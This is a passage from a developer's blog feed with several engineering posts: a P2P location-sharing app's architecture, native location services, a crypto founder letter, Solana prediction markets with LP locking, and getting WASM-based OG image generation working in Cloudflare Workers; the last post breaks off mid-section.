<p>The whole gossip architecture above is meaningless without the user&#39;s actual location. Browser <code>navigator.geolocation</code> doesn&#39;t work in Tauri&#39;s macOS WKWebView (wry auto-denies the permission). The follow-up commit <a href="https://github.com/Dax911/cruiser/commit/d2b9cc8"><code>d2b9cc8 — Phase 27: Native CoreLocation for macOS</code></a> is where I solved that, and it&#39;s <a href="/blog/cruiser_corelocation_objc2/">its own post</a>.</p>
<p>Worth noting here: the system has <em>three</em> fallback layers for location:</p>
<ol>
<li>Native CoreLocation (macOS) / GeoClue2 (Linux) / Windows.Devices.Geolocation (Windows). Best accuracy.</li>
<li>IP-based geolocation via ipinfo.io. Used when native services are unavailable or denied.</li>
<li>Manual override (you type your geohash6 into a settings field). Used for testing and for users who don&#39;t want their actual location used.</li>
</ol>
<p>Each layer feeds the same <code>geohash6</code> value to <code>join_gossip_area</code>. The peer doesn&#39;t care how the geohash was computed; they care that the geohash is honest and stable.</p>
<h2>What &quot;Phase 1–26&quot; means</h2>
<p>The mono-commit covers 26 design phases. A non-exhaustive sample of what each phase added:</p>
<ul>
<li>Phase 1–3: Identity (ed25519 key + Solana pubkey).</li>
<li>Phase 4–6: Profile (avatar, bio, energy, tags).</li>
<li>Phase 7–9: Gossip presence (the architecture above).</li>
<li>Phase 10–12: DM chat (encrypted, with media + tips + consent signals).</li>
<li>Phase 13: Block list.</li>
<li>Phase 14: Favorites.</li>
<li>Phase 15: Notifications.</li>
<li>Phase 16: Themes.</li>
<li>Phase 17: Search.</li>
<li>Phase 18: Onboarding (the new-user flow).</li>
<li>Phase 19–21: Chat management (delete threads, relative timestamps, profile peek).</li>
<li>Phase 22–25: Dev tools (seed peers for local testing, SOL airdrop UI).</li>
<li>Phase 26: The final polish + the squash into one commit.</li>
</ul>
<p>The reason to squash 26 phases into a single commit is that the local development repo had 200+ commits with messages like <code>wip</code> and <code>fix wallet sig</code> and <code>actually now it works</code>, and that&#39;s not a public history. The squash gives readers a single coherent diff that says &quot;this is what shipped.&quot; The cost: you lose the ability to bisect within Phase 1–26. The benefit: you don&#39;t subject the public to a noisy 200-commit history.</p>
<h2>What I&#39;d do differently</h2>
<p><strong>The PeerCache should be persistent.</strong> Right now, when you restart the app, you lose the in-memory peer cache and have to wait 30s for the next broadcast cycle to repopulate. Persisting it (and re-validating on next announce) would make the first-second of app launch feel responsive instead of empty.</p>
<p><strong>The geohash6 boundary needs hysteresis.</strong> Crossing a geohash boundary triggers a topic-leave / topic-join cycle. If you walk along the boundary you can flap between buckets every few seconds. The fix is to wait for a few consecutive readings on the new bucket before switching, or to subscribe to <em>both</em> buckets while in transition. Neither is implemented in the initial commit; both are easy add-ons.</p>
<p><strong>The signature scheme should bind to the topic.</strong> Right now an announce signed for topic A could be replayed on topic B by an adversary who controls a relay. Including the topic ID in the signed payload would prevent that. Easy fix; on the to-do list.</p>
<h2>Trade-offs</h2>
<p><strong>Why a desktop app first instead of mobile?</strong> Because Tauri&#39;s desktop story was mature in 2025 and the iOS / Android mobile bindings were still beta. The <a href="/blog/cruiser_ios_xcode_cloud/">Phase 29 iOS commit</a> shipped iOS support a few weeks later; Android is still pending.</p>
<p><strong>Why Tauri instead of Electron?</strong> Same reason as the <a href="/blog/zera_wallet_v3_zkp/">Zera Wallet v3</a>: smaller bundle, sane Rust↔JS IPC, and the Rust side can hold long-running background tasks (gossip loops, location service) without spinning up a separate process.</p>
<p><strong>Why a per-pair DM topic instead of a single shared &quot;DMs&quot; topic?</strong> Because per-pair topics are the right scope for routing — only the two participants subscribe — whereas a shared topic would require every peer to receive every DM and filter by recipient. That&#39;s both wasteful and a metadata leak.</p>
<p><strong>Why no central reputation/abuse system?</strong> Because the moment you ship a central reputation system, the system is no longer P2P. The Cruiser approach is: every peer maintains their own block list, locally. Abuse is mitigated by the absence of a global directory — you can only be discovered by people in your geohash6, so the attack surface is bounded by your physical area.</p>
<h2>What this taught me</h2>
<p>P2P-as-architecture is mostly <em>constraints management</em>: deciding what state is allowed to be global (almost nothing), what state is allowed to be partial (peer caches, ephemeral), and what state is fully local (your block list, your profile, your settings). Once you&#39;ve drawn those lines, the rest of the design falls out.</p>
<p>The other thing I learned is that <strong>iroh deserves more attention.</strong> It&#39;s the smallest dependency I&#39;ve ever shipped that supports a real P2P product. Most P2P stacks are 50,000-line behemoths. iroh-gossip + iroh-net + iroh-blobs is enough infrastructure for a real app and the code surface is comprehensible.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/cruiser">Cruiser on GitHub</a></li>
<li><a href="https://github.com/Dax911/cruiser/commit/4cecbd4cf64fe2bdcd44f0aa3b6db83b1ebd3a05">The Phase 1–26 mono-commit</a></li>
<li><a href="https://www.iroh.computer/">iroh on n0.computer</a> — the P2P stack.</li>
<li><a href="https://docs.rs/iroh-gossip/"><code>iroh-gossip</code> docs</a> — the pub/sub layer.</li>
<li><a href="/blog/cruiser_corelocation_objc2/">Cruiser CoreLocation post</a> — how the geolocation layer works.</li>
<li><a href="/blog/cruiser_ios_xcode_cloud/">Cruiser iOS + Xcode Cloud</a> — the App Store push.</li>
<li><a href="/blog/cruiser_site_satori_poster/">Cruiser+ landing page</a> — the marketing surface.</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Phase 28b: native location services for Windows + Linux]]></title>
  <id>https://blog.skill-issue.dev/notes/cruiser-windows-linux-location/</id>
  <link rel="alternate" type="text/html" href="https://github.com/Dax911/cruiser/commit/7d787dd"/>
  <link rel="related" type="text/html" href="https://blog.skill-issue.dev/notes/cruiser-windows-linux-location/"/>
  <published>2026-02-26T18:57:11.000Z</published>
  <updated>2026-02-26T18:57:11.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="cruiser"/>
  <category term="windows"/>
  <category term="linux"/>
  <category term="location"/>
  <content type="html"><![CDATA[<p>The cross-platform location story before this was: macOS used CoreLocation, Windows used IP geolocation, Linux used &quot;open a dialog and let the user type their lat/long&quot;. The first one was great; the other two were embarrassing.</p>
<p>Windows now uses <code>Windows.Devices.Geolocation.Geolocator</code> via WinRT bindings (the Tauri Rust crate <code>windows-rs</code> makes this manageable). Linux uses <code>geoclue2</code> over D-Bus. Both ask for the same permission UX as a browser, both fail to &quot;user typed in 0,0&quot; if denied.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Why I started Zera Labs]]></title>
  <id>https://blog.skill-issue.dev/blog/why_i_started_zera_labs/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/why_i_started_zera_labs/"/>
  <published>2026-02-20T08:00:00.000Z</published>
  <updated>2026-02-20T08:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="founders"/>
  <category term="zera"/>
  <category term="zk"/>
  <category term="solana"/>
  <category term="ai"/>
  <category term="narrative"/>
  <category term="founder-letter"/>
  <summary type="html"><![CDATA[Three things became true in the same year — ZK got fast enough, Solana got cheap enough, and AI agents needed verifiable money. Sitting at the intersection felt like a ship date, not a thesis.]]></summary>
  <content type="html"><![CDATA[<p>This is the post I keep wanting to skip. It&#39;s the founding letter — the one where I&#39;m supposed to explain, in clean prose, why a perfectly happy senior IC with a security-research side hustle decided to incorporate a thing and put his name on the door. I have started writing it five times. The other four versions all went a little too hard on the <em>grand cryptographic destiny of the human race</em> angle, which is not the kind of post I&#39;d respect if I read it in someone else&#39;s feed.</p>
<p>So here is the version that survived: three things became true at roughly the same time, in the same year, and sitting at the intersection of those three things felt much more like a ship date than a thesis. That&#39;s the whole pitch. The rest of this letter is just walking the three legs of the tripod.</p>
<h2>Leg one: ZK got fast enough to be boring</h2>
<p>I have been reading zk papers for, depending on how you count, six or seven years. The thing about zk papers is that the <em>math</em> doesn&#39;t get faster — the math has been there since Goldwasser and Micali&#39;s 1985 paper. What gets faster is the <em>engineering</em>. Better proving systems (Groth16 → PLONK → Halo2 → STARKs → folding schemes). Better hashes inside circuits (Pedersen → Poseidon → Reinforced Concrete). Better hardware (CPU SIMD → GPUs → FPGAs → the inevitable ASIC). Better libraries (snarkJS → arkworks → halo2 → Lurk → Risc Zero).</p>
<p>In 2018, you could prove a non-trivial program in a circuit and submit it to Ethereum, but you needed a research lab and a friend at a hardware accelerator company. In 2024, you could prove a non-trivial program in a circuit on a laptop in a few seconds and submit it to a chain that didn&#39;t price proof verification like a war crime.</p>
<p>In 2026, the prover is fast enough that <strong>a wallet can do it on the user&#39;s machine for a normal interactive payment</strong> without the user noticing. That last sentence is the entire reason ZK leaves the lab.</p>
<p>The bar for &quot;leaves the lab&quot; is ruthless. It isn&#39;t &quot;research demo at Devcon.&quot; It&#39;s: a non-technical user, on their existing laptop, opens a wallet, clicks Send, waits less than a coffee sip, and a Groth16 proof has gone over the wire to settle the transaction. Until that is true, ZK lives in conferences and academic papers. Once that is true, ZK eats a chunk of the financial system.</p>
<p>That is the point we are at right now. I built <a href="/blog/zera_sdk_scaffolding/">zera-sdk</a> and the <a href="/blog/zera_wallet_v3_zkp/">Zera Wallet v3</a> to be the first products to ship after that line was crossed. Not after the line will be crossed, after some round, after some grant. After. It already happened. We are mostly waiting for the rest of the industry to notice.</p>
<h2>Leg two: Solana stopped being a gas-fee story</h2>
<p>I came up at ConsenSys. I love the EVM the way you love a complicated relative — deeply, suspiciously, with a lot of patience. But the EVM was not designed for a world in which a privacy-preserving deposit costs you a single-digit number of cents and a transfer costs less. The EVM was designed for a world in which compute is precious and you charge by the opcode.</p>
<p>Solana is the opposite design point. Compute is cheap, throughput is high, parallelism is the default, and — critically — Light Protocol&#39;s compressed-token primitive lets you push almost the entire account state of a token into an off-chain Merkle tree. The savings are not marginal. They are something like 5000× per token. I spent a weekend porting a notional AMM to Solana for the first time and the gas numbers came out so low I assumed I had a math error. I did not. The chain is just that much cheaper.</p>
<p>I wrote about the implications in <a href="/blog/zeraswap_compressed_amm/">ZeraSwap: An AMM for Compressed Tokens</a>. The short version: when the per-account-state cost of a token drops by three and a half orders of magnitude, every assumption you had about the <em>granularity</em> of tokenisation has to be re-examined. You can have one token per medical record. One token per receipt. One token per proof. The cost of &quot;putting it on chain&quot; stops being a budgeting decision and starts being a <em>naming</em> decision.</p>
<p>ZK is the privacy half. Compressed tokens are the bandwidth half. If you have both, you have the substrate I would have wanted for <a href="/blog/a_better_crypto/">the cryptocurrency we should have built</a>.</p>
<h2>Leg three: AI agents need verifiable money</h2>
<p>This is the leg that tipped me from &quot;interesting hobby&quot; to &quot;I&#39;m doing this full-time.&quot; It&#39;s also the leg the most people get wrong, so I want to walk it carefully.</p>
<p>If you have not played with the Model Context Protocol yet, the elevator version is: an AI agent (Claude, Cursor, Cline, your custom thing) connects to a <em>server</em> that exposes tools the agent can call. The server might be a calendar. The server might be a database. The server might be — and here is where it gets interesting — a wallet.</p>
<p>In 2025 a lot of teams glued LLMs to wallets and discovered, predictably, that the result was funny but not safe. Funny because LLMs are very confident; not safe because wallets, being unverified pieces of state, can be lied to in ways the model has no way to verify. The result was a small wave of &quot;agent steals the demo wallet&#39;s testnet ETH&quot; videos that everyone enjoyed and then forgot about.</p>
<p>The fix isn&#39;t smaller models or more guardrails. The fix is <strong>verifiable cryptographic state</strong>. If the agent asks the server &quot;do I have the right to spend this note?&quot;, the server should be able to produce a proof that the agent can verify <em>locally</em>, with the same trust model the chain itself uses. Not a screenshot. Not an oracle. A Groth16 proof that the agent&#39;s runtime checks against the same verifying key the chain holds.</p>
<p>This is the reason <code>@zera-labs/mcp-server</code> exists, and it&#39;s the reason it shipped on the <a href="/blog/zera_sdk_scaffolding/">first day</a> of the SDK rather than as a v2 feature. If agents are going to interact with money — and the rate at which the next generation of agentic products is being shipped tells me they are — they need the same cryptographic verifiability that human users now expect from a wallet. The MCP layer is the agent&#39;s wallet. The SDK below it is the cryptographic verifiability. The chain underneath is the settlement.</p>
<p>You don&#39;t have to believe the agent thesis is going to be huge. You only have to believe it isn&#39;t going to be zero. The MCP server is, on the day this letter ships, less than 500 lines of code. If the bet is wrong, I lose 500 lines of code. If it&#39;s right, the SDK ships into a market that is roughly 100× larger than the human-wallet market.</p>
<h2>Why a company instead of more posts</h2>
<p>People who have read me for a while know I do most of my thinking out loud, in writing, on this blog. There&#39;s an obvious version of all the above that&#39;s just <em>more posts about it</em>. Why a whole company.</p>
<p>Two reasons.</p>
<p>First: the surface area is larger than one person. The SDK alone is a Rust crate, a Neon binding, a TypeScript SDK, a prover, an MCP server, three transaction builders, a Surfpool devnet, a 144-test Vitest suite, and a documentation surface. The wallet is its own product. The AMM is its own product. The medical demo is its own product. The design system is its own product. I cannot ship that on weekends. Nobody can.</p>
<p>Second: the work is more credible inside a company. When the SDK lands an audit, that audit lands on Zera Labs, not on &quot;some guy with a blog.&quot; When the first integration partner asks who&#39;s accountable if the prover regresses, the answer is &quot;Zera Labs,&quot; not &quot;I&#39;ll get to it Tuesday.&quot; When a customer asks for a SOC 2, the answer is &quot;we&#39;re working on it&quot; instead of laughter. The legal and operational scaffolding is part of the product.</p>
<p>I want to be clear about what I&#39;m <em>not</em> claiming. I&#39;m not claiming the team is huge. (<code>TODO: Dax confirm — keep this hedged until the team page is public.</code>) I&#39;m not claiming we&#39;ve raised a round. I&#39;m not claiming we have customers I can name. I am claiming we have a working SDK, a working wallet, a working AMM, a working medical demo, a working devnet, and a Design System we use across the company. The rest is sequencing.</p>
<h2>The animating principle</h2>
<p>Every company has one sentence that explains what it is willing to be embarrassed about and what it is willing to be loud about. The one I keep coming back to for Zera Labs is:</p>
<blockquote>
<p><em>We build cryptographic infrastructure that is fast enough, cheap enough, and verifiable enough to leave the laboratory. Everything else is taste.</em></p>
</blockquote>
<p>&quot;Fast enough&quot; is the ZK leg. &quot;Cheap enough&quot; is the Solana / compressed-token leg. &quot;Verifiable enough&quot; is the agentic leg. &quot;Everything else is taste&quot; means the design system, the documentation, the tone of the blog, the choice of dependencies, the way we write commit messages, the way we run incident response. None of those things are in the trade-off space. They are the part where the company has to be the company.</p>
<p>If any of the three legs of the tripod were missing, this would be a research lab or a side project. All three are present. The thing to do, then, is to ship.</p>
<h2>Where to next</h2>
<p>If you want the technical receipts:</p>
<ul>
<li><a href="/blog/zera_sdk_scaffolding/">Building the Zera SDK: Day One</a> — the 14-minute session that put the foundation in.</li>
<li><a href="/blog/zera_sdk_test_suite/">144 Tests and a Surfpool Devnet</a> — the bridge from &quot;the code exists&quot; to &quot;you can use it.&quot;</li>
<li><a href="/blog/zeraswap_compressed_amm/">ZeraSwap: An AMM for Compressed Tokens</a> — the bandwidth half.</li>
<li><a href="/blog/zera_wallet_v3_zkp/">Zera Wallet v3</a> — the user-facing half.</li>
<li><a href="/blog/zera_med_zk_fhir/">ZK-FHIR</a> — the proof we can do this for things other than money.</li>
</ul>
<p>If you want the personal receipts: <a href="/blog/nuclear_reactors_taught_me_to_ship/">Nuclear reactors taught me to ship software</a> and <a href="/blog/what_running_a_bitcoin_mine_taught_me/">What running a Bitcoin mine taught me about cloud margins</a> are the two prior chapters. This one is chapter three.</p>
<p>If you want to <em>use</em> the work — <code>dax@skill-issue.dev</code>. The calendar&#39;s <a href="https://cal.com/daxts">here</a>.</p>
<p>That&#39;s the founding letter. Now I have to go ship the next thing.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Prediction Markets, LP Locks, and an Admin Page That Doesn’t Suck]]></title>
  <id>https://blog.skill-issue.dev/blog/prediction_markets_admin/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/prediction_markets_admin/"/>
  <published>2026-02-18T19:31:55.000Z</published>
  <updated>2026-02-18T22:43:56.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="zera"/>
  <category term="solana"/>
  <category term="anchor"/>
  <category term="prediction-markets"/>
  <category term="cpmm"/>
  <category term="admin"/>
  <category term="governance"/>
  <summary type="html"><![CDATA[How I bolted CPMM prediction markets onto ZeraSwap, locked LP for graduated tokens, and built a 5-tab admin panel before the first malicious actor showed up.]]></summary>
  <content type="html"><![CDATA[<p>A week after <a href="/blog/zeraswap_compressed_amm/">the AMM shipped</a> I had two open feature requests from people who were actually using it:</p>
<ol>
<li>&quot;I want to bet on whether $TOKEN graduates by Friday.&quot;</li>
<li>&quot;Why doesn&#39;t the launchpad lock LP after graduation? You&#39;re going to get rugged.&quot;</li>
</ol>
<p>Both fair. Both were addressed in <a href="https://github.com/Dax911/z_trade/commit/16aa30d3ed2f552f743886a647ba1fc7f4773aed"><code>16aa30d</code> — <code>Add prediction markets, LP locking, graduation flow, comprehensive admin, and USD pricing</code></a> on 2026-02-18. 55 files changed. Let&#39;s unpack the parts that actually matter.</p>
<h2>Prediction markets as a CPMM</h2>
<p>A prediction market is just a CPMM with two outcome reserves instead of a token + SOL pair. From <a href="https://github.com/Dax911/z_trade/blob/16aa30d3ed2f552f743886a647ba1fc7f4773aed/sdk/src/prediction_math.ts"><code>sdk/src/prediction_math.ts</code></a>:</p>
<pre><code class="language-ts">// CPMM: shares_out = outcome_reserves * sol_after_fee
//                  / (other_reserves + sol_after_fee)
export function calcBuyOutcome(
  solIn: bigint, yesReserves: bigint, noReserves: bigint,
  outcome: &quot;yes&quot; | &quot;no&quot;, feeBps: bigint,
): { sharesOut: bigint; fee: bigint } {
  const fee = (solIn * feeBps) / BPS_DENOMINATOR;
  const solAfterFee = solIn - fee;

  const outcomeReserves = outcome === &quot;yes&quot; ? yesReserves : noReserves;
  const otherReserves   = outcome === &quot;yes&quot; ? noReserves : yesReserves;

  if (outcomeReserves === 0n) return { sharesOut: 0n, fee };

  const sharesOut =
    (outcomeReserves * solAfterFee) / (otherReserves + solAfterFee);
  return { sharesOut, fee };
}

// YES price = no_reserves / (yes_reserves + no_reserves)
export function calcOutcomePrice(yesReserves, noReserves) {
  const total = yesReserves + noReserves;
  if (total === 0n) return { yesPrice: 0.5, noPrice: 0.5 };
  // ...
}
</code></pre>
<p>The trick is the <em>price</em>. In a YES/NO CPMM the price of YES is just the ratio of NO reserves to total reserves. That&#39;s because if YES is &quot;expensive&quot; (lots of YES shares already sold), there&#39;s less YES reserve left, and the next dollar buys you fewer YES shares. The math is symmetric.</p>
<p>I picked CPMM over LMSR because:</p>
<ul>
<li>The LP doesn&#39;t need to subsidize liquidity. Whoever creates the market puts up real SOL on both sides and earns the fees.</li>
<li>It uses literally the same <code>x*y=k</code> engine as ZeraSwap&#39;s swap path, so I could reuse the slippage and <code>MathOverflow</code> checks I&#39;d already debugged.</li>
<li>Resolution is a single instruction that drains the losing side into the protocol and pays out the winning side proportionally.</li>
</ul>
<p>Six instructions on-chain: <code>create_market</code>, <code>buy_outcome</code>, <code>sell_outcome</code>, <code>resolve_market</code>, <code>claim_winnings</code>, <code>void_market</code> (plus protocol fee collection). The void path is the safety valve — if the resolution oracle disappears or the market becomes ambiguous, the admin can void and refund pro-rata.</p>
<h2>LP locking: the part that actually makes graduation safe</h2>
<p>Before this commit, when a launchpad token graduated to a real ZeraSwap pool, the LP tokens were minted to the launchpad authority and that was that. Nothing stopped the launch creator from yanking liquidity 30 seconds later. Classic rug.</p>
<p>The fix is <code>LpLock</code> PDA + <code>lock_liquidity</code> and <code>extend_lock</code> instructions, and a check in <code>remove_liquidity</code> that consults the lock state. Now graduation locks the launch&#39;s LP for a configurable window. If you want to be a serious launch, you opt into a longer lock; the frontend surfaces the lock duration as a trust signal on the explore page.</p>
<p>I shipped a related quality-of-life thing the same day in <a href="https://github.com/Dax911/z_trade/commit/a02f67287a25ef3ce76117d6d592337002cb99a9"><code>a02f672</code> — <code>lower graduation to 50 SOL</code></a>. 85 SOL was the original threshold and nobody could actually graduate a token at $15K worth of bonding-curve liquidity. 50 SOL turned out to be the floor where a real microcap launch could clear graduation.</p>
<h2>The 5-tab admin page</h2>
<p>The same commit ships a five-tab admin panel: <code>Overview / Launchpad / AMM / Markets / Docs</code>. The reason this is its own thing is not vanity — it&#39;s that a Solana program with five separate config PDAs and three separate fee vaults <em>cannot be safely operated from a CLI</em>. You will misread a hex address. You will paste the wrong network. You will pause production thinking it&#39;s devnet.</p>
<p>Each tab carries:</p>
<ul>
<li>All three vault balances with USD denomination (SOL/USD pulled from CoinGecko via <code>SolPriceContext</code> polling).</li>
<li>&quot;Initialize PDA&quot; buttons for any config that hasn&#39;t been bootstrapped on the current cluster.</li>
<li>Per-launch / pool / market fee collection, plus a &quot;collect all&quot; bulk button.</li>
<li>The void-market button on the prediction tab, behind a confirm modal, because the void path is irreversible.</li>
</ul>
<p>I ended up needing this faster than I expected. The very next day I shipped <a href="https://github.com/Dax911/z_trade/commit/557d314bd4c9d045823dbd8e6301742338f14ca6"><code>557d314</code> — <code>Add migrate_config instruction for safe account resizing</code></a> and <a href="https://github.com/Dax911/z_trade/commit/f673b226a34dff77a35ccaf0db1c064112b528fb"><code>f673b22</code> — <code>Add config migration UI to admin page</code></a>. The trigger: I&#39;d added a <code>min_market_liquidity</code> field to <code>PredictionConfig</code> without bumping the account size, and existing configs on devnet couldn&#39;t take the update. The admin page detected old-format accounts via a length comparison and surfaced a &quot;Migrate Config&quot; button.</p>
<p><code>migrate_config</code> does what its name says — resizes the account, copies the old data, writes the new field. The trick I missed the first time, fixed in <a href="https://github.com/Dax911/z_trade/commit/6d044f7efcb3c4debc36fa33d68518748ed04158"><code>6d04415</code></a>: when growing a PDA you have to fund the lamport difference via a System Program CPI transfer, not by directly debiting the user&#39;s lamports inside the program. Anchor will let you write the second one. The runtime will reject it. Welcome to Solana.</p>
<h2>Trade-offs</h2>
<p><strong>Why CPMM and not parimutuel pools?</strong> Because parimutuel doesn&#39;t give you a price until resolution. CPMM lets traders see &quot;YES is at 67¢&quot; continuously. That&#39;s the entire UX of a prediction market. If you can&#39;t show a price, your users are going to ask why they shouldn&#39;t just use Polymarket.</p>
<p><strong>Why void-market behind admin only?</strong> Because the alternative is &quot;anybody can vote to void a market they&#39;re losing&quot; and that destroys the incentive to make confident bets. The market creator stakes the liquidity; the protocol admin holds the void key. The doc tab on the admin panel makes that policy explicit.</p>
<p><strong>Why an admin page in a &quot;decentralized&quot; project?</strong> Because the project isn&#39;t decentralized yet. I&#39;m not going to pretend it is. The admin keys exist; they&#39;re documented; they will be migrated to a multisig, and eventually to TW-TVV-style governance (<a href="/blog/m0n3y_naming_a_dream/">described in the m0n3y origin post</a>). Lying about that today doesn&#39;t make it true tomorrow.</p>
<h2>What this taught me</h2>
<p>The smart-contract surface of a Solana product compounds non-linearly. ZeraSwap had three PDAs and one fee vault. Adding prediction markets and LP locks brought it to seven PDAs and three fee vaults. The cost of ad-hoc admin tooling exploded. The 5-tab admin page paid for itself in the first hour after deploy when I needed to bulk-collect fees from 12 launches.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/z_trade/commit/16aa30d3ed2f552f743886a647ba1fc7f4773aed">The full prediction-markets commit</a></li>
<li><a href="https://github.com/Dax911/z_trade/blob/16aa30d3ed2f552f743886a647ba1fc7f4773aed/sdk/src/prediction_math.ts"><code>prediction_math.ts</code></a></li>
<li><a href="https://github.com/Dax911/z_trade/commit/6d044f7efcb3c4debc36fa33d68518748ed04158"><code>migrate_config</code> instruction (the safe-resize fix)</a></li>
<li><a href="https://polymarket.com/">Polymarket</a> — the UX target nobody on Solana matches yet</li>
<li><a href="https://www.eecs.harvard.edu/cs286r/courses/fall12/papers/Hanson_LMSR.pdf">LMSR vs CPMM market makers</a> — the paper that justifies LMSR for thin markets</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Five Commits to Get an OG Image Out of a Cloudflare Worker]]></title>
  <id>https://blog.skill-issue.dev/blog/og_pngs_cf_workers/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/og_pngs_cf_workers/"/>
  <published>2026-02-15T17:14:55.000Z</published>
  <updated>2026-02-15T17:30:56.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="cloudflare"/>
  <category term="workers"/>
  <category term="wasm"/>
  <category term="og-image"/>
  <category term="svg"/>
  <category term="solana"/>
  <category term="devops"/>
  <summary type="html"><![CDATA[A 24-minute slog where I got dynamic OG PNG generation to work on Cloudflare Pages Functions. The bug is WebAssembly. The fix is a build-time WASM import.]]></summary>
  <content type="html"><![CDATA[<p>The OG image is the thing that decides whether your link gets clicked on Twitter, Discord, or Telegram. If you ship a Solana DEX without per-token OG images, your share buttons are wallpaper. If you ship them as SVG, half the social platforms render them as blank cards because half the social platforms don&#39;t render SVG.</p>
<p>So you ship them as PNG. Which means you generate them on the edge. Which means you call into WebAssembly from a Cloudflare Pages Function. Which means <a href="https://github.com/Dax911/z_trade/commits/main/?after=cb14990c6fadb4abe5e111cd716b3bd08a528ae9+47">you bang your head against the wall five commits in a row</a>.</p>
<p>This post is a real-time receipt of that head-banging from 2026-02-15 between 17:03 and 17:30 UTC.</p>
<h2>The problem</h2>
<p>The function in question lived at <a href="https://github.com/Dax911/z_trade/blob/962d55c629ce56324bf9cef135d5aeac76f4c2d9/functions/og/default.ts"><code>functions/og/default.ts</code></a> — a Cloudflare Pages Function that takes a token mint, builds a stylized SVG card with live AMM stats, and converts it to a PNG with <a href="https://www.npmjs.com/package/svg2png-wasm"><code>svg2png-wasm</code></a>. The conversion is the hard part. Everything else is sed-replacing tokens into a template string.</p>
<p>The naive thing is what I shipped first in <a href="https://github.com/Dax911/z_trade/commit/1bac3bbc1173ddf95a964c394858ca7192ce28ac">1bac3bb — <code>Convert OG images from SVG to PNG</code></a>:</p>
<pre><code class="language-ts">import { initialize, createSvg2png } from &quot;svg2png-wasm&quot;;

const wasmRes = await fetch(WASM_URL);
const wasm = await wasmRes.arrayBuffer();
await initialize(wasm);
</code></pre>
<p>This works locally. This works on Vercel. This does not work on Cloudflare Workers.</p>
<h2>Stage 1: dynamic import → static import (17:03)</h2>
<p><a href="https://github.com/Dax911/z_trade/commit/81d3f16e965ef683dc48c1bb748852c7fcca112c">81d3f16 — <code>Fix OG PNG: use static import for svg2png-wasm instead of dynamic import</code></a>.</p>
<p>CF&#39;s bundler doesn&#39;t bundle dynamic imports the same way it bundles static imports. Static import. Move on.</p>
<h2>Stage 2: self-fetch → unpkg (17:06)</h2>
<p><a href="https://github.com/Dax911/z_trade/commit/e2b0c76a5e9dea8a425b768fe196a28315d16fa7">e2b0c76 — <code>Fix OG PNG: fetch WASM from unpkg CDN instead of self-fetch</code></a>.</p>
<p>I had been serving the <code>.wasm</code> file from <code>app/public/</code> and fetching it via <code>fetch(env.url + &quot;/svg2png_wasm_bg.wasm&quot;)</code>. CF Workers cannot fetch from themselves the way Node servers can — the request loops or 503s depending on the moon phase. I switched to unpkg&#39;s CDN. That worked, but introduced a runtime dependency on a third party. We come back to that.</p>
<h2>Stage 3: see the actual error (17:09)</h2>
<p><a href="https://github.com/Dax911/z_trade/commit/102f48575a2bb7cd6fc8e08013d1a6c43cb1f117">102f485 — <code>debug: show OG PNG error details instead of silent fallback</code></a>.</p>
<p>Two hours into a deploy fight and you realize you&#39;ve been catching the error and rendering the SVG fallback. Take the catch out. Suffer.</p>
<p>The error: <code>WebAssembly.instantiate() of bytes from request body is not allowed in this Worker</code>.</p>
<p>CF Workers block <code>WebAssembly.instantiate()</code> from raw bytes. Not deprecated. Not slow. Just <em>blocked</em>. They want you to use a build-time <code>import</code> so the WASM binary becomes a real module they can compile during deploy, not at runtime in your handler. This is a real security stance — they don&#39;t want Worker code instantiating arbitrary blobs at runtime — but it&#39;s not great when your library (<code>svg2png-wasm</code>) is built around a fetch-and-init pattern.</p>
<h2>Stage 4: build-time WASM import (17:12)</h2>
<p><a href="https://github.com/Dax911/z_trade/commit/962d55c629ce56324bf9cef135d5aeac76f4c2d9">962d55c — <code>Fix OG PNG: use build-time WASM import for CF Workers compatibility</code></a>.</p>
<p>This is the actual fix:</p>
<pre><code class="language-ts">// @ts-ignore — CF Workers WASM import (compiled at build time)
import wasmModule from &quot;./svg2png.wasm&quot;;

let svg2pngConverter: Svg2png | null = null;

async function ensureSvg2png(): Promise&lt;Svg2png | null&gt; {
  if (svg2pngConverter) return svg2pngConverter;
  if (!initPromise) {
    initPromise = (async () =&gt; {
      await initialize(wasmModule);
      svg2pngConverter = createSvg2png();
    })();
  }
  await initPromise;
  return svg2pngConverter;
}
</code></pre>
<p>You commit <code>svg2png.wasm</code> (~2MB) inside the Functions directory. CF picks it up at deploy time, treats it as a Worker-managed module, and binds the import to a real <code>WebAssembly.Module</code>. <code>initialize(wasmModule)</code> then takes a <code>Module</code> instead of bytes, which is the pre-compiled path that CF allows.</p>
<h2>Stage 5: directory math (17:14)</h2>
<p><a href="https://github.com/Dax911/z_trade/commit/9ccab18e0f7f52d23feadbcac0d8033031c6e848">9ccab18 — <code>Fix WASM import path</code></a>.</p>
<p>The per-token endpoint lives at <code>functions/og/token/[mint].ts</code>. The wasm I committed lives at <code>functions/og/svg2png.wasm</code>. The relative import was wrong. <code>../svg2png.wasm</code>. Done.</p>
<h2>Stage 6: fonts don&#39;t ship with the bundle (17:30)</h2>
<p><a href="https://github.com/Dax911/z_trade/commit/1c91af7994df8330f75553a004a3819ce1def75e">1c91af7 — <code>Fix OG images: register Inter + JetBrains Mono fonts for svg2png-wasm</code></a>.</p>
<p>Same idea. <code>svg2png-wasm</code> rasterizes text by looking up the font registered in its own runtime, not the host&#39;s. The OG card uses Inter and JetBrains Mono. If you don&#39;t <code>registerFont(await loadFontBytes())</code> for both before calling the converter, your text rasterizes as <code>□□□□</code>. Hilarious in test environments. Catastrophic on a public DEX.</p>
<h2>What this actually looked like deployed</h2>
